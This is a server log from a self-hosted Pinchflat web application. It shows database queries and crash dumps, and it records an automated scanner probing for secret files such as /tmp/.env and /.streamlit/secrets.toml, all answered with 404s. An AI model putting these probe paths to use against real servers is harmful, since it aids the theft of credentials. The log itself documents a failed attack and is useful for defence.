#PID<0.9758.0>, params: %{}, path_info: ["temp", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/temp/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBm1OsqJ2nd0AAdQC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9757.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/temp/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47054}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /temp/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9757.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/temp/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47054}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9758.0>, params: %{}, path_info: ["temp", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/temp/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBm1OsqJ2nd0AAdQC"} ], scheme: :http, (truncated) 15:22:02.230 [info] GET / 15:22:02.230 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 15:22:02.230 [debug] QUERY OK source="settings" db=0.1ms idle=499.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:02.230 [debug] QUERY OK source="media_profiles" db=0.0ms idle=262.7ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 15:22:02.230 [debug] QUERY OK source="sources" db=0.0ms idle=262.7ms SELECT count(s0."id") FROM "sources" AS s0 [] 15:22:02.232 [debug] QUERY OK source="media_items" db=1.9ms idle=24.9ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:22:02.232 [debug] QUERY OK source="media_items" db=0.2ms idle=26.7ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:22:02.232 [debug] QUERY OK source="settings" db=0.0ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:02.232 [debug] QUERY OK source="settings" db=0.0ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:02.233 [debug] QUERY OK source="settings" db=0.0ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:02.233 [debug] QUERY OK source="media_items" db=0.1ms idle=0.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:22:02.233 [debug] QUERY OK source="media_items" db=0.3ms idle=0.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:22:02.234 [debug] QUERY OK source="sources" db=0.0ms idle=1.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?)) [1, 2, 3] 15:22:02.235 [debug] QUERY OK source="media_items" db=1.3ms idle=1.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 15:22:02.238 [debug] QUERY OK source="media_items" db=2.4ms idle=2.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:22:02.238 [debug] QUERY OK source="tasks" db=0.1ms idle=4.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:22:02.238 [info] Sent 200 in 8ms 15:22:02.440 [info] GET /tmp/.env 15:22:02.440 [debug] QUERY OK source="settings" db=0.0ms idle=207.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:02.441 [debug] QUERY OK source="settings" db=0.0ms idle=206.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:02.441 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:02.441 [error] #PID<0.9762.0> running PinchflatWeb.Endpoint (connection #PID<0.9761.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /tmp/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /tmp/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9761.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/tmp/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47066}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9762.0>, params: %{}, path_info: ["tmp", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/tmp/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBntbAiLML44AAdYC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9761.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/tmp/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47066}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /tmp/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9761.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/tmp/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47066}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9762.0>, params: %{}, path_info: ["tmp", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/tmp/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBntbAiLML44AAdYC"} ], scheme: :http, sc (truncated) 15:22:02.679 [info] GET /.streamlit/secrets.toml 15:22:02.679 [debug] QUERY OK source="settings" db=0.1ms idle=440.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:02.679 [debug] QUERY OK source="settings" db=0.0ms idle=440.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:02.679 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:02.679 [error] #PID<0.9764.0> running PinchflatWeb.Endpoint (connection #PID<0.9763.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.streamlit/secrets.toml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.streamlit/secrets (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9763.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.streamlit/secrets.toml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47082}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9764.0>, params: %{}, path_info: [".streamlit", "secrets"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.streamlit/secrets.toml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBomPmaVIEV4AAdZC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9763.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.streamlit/secrets.toml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47082}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.streamlit/secrets (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9763.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.streamlit/secrets.toml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47082}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9764.0>, params: %{}, path_info: [".streamlit", "secrets"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.streamlit/secrets.toml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control (truncated) 15:22:02.917 [info] GET /root/.streamlit/secrets.toml 15:22:02.918 [debug] QUERY OK source="settings" db=0.2ms idle=476.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:02.918 [debug] QUERY OK source="settings" db=0.0ms idle=477.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:02.918 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:02.918 [error] #PID<0.9766.0> running PinchflatWeb.Endpoint (connection #PID<0.9765.0>, stream id 1) terminated Server: 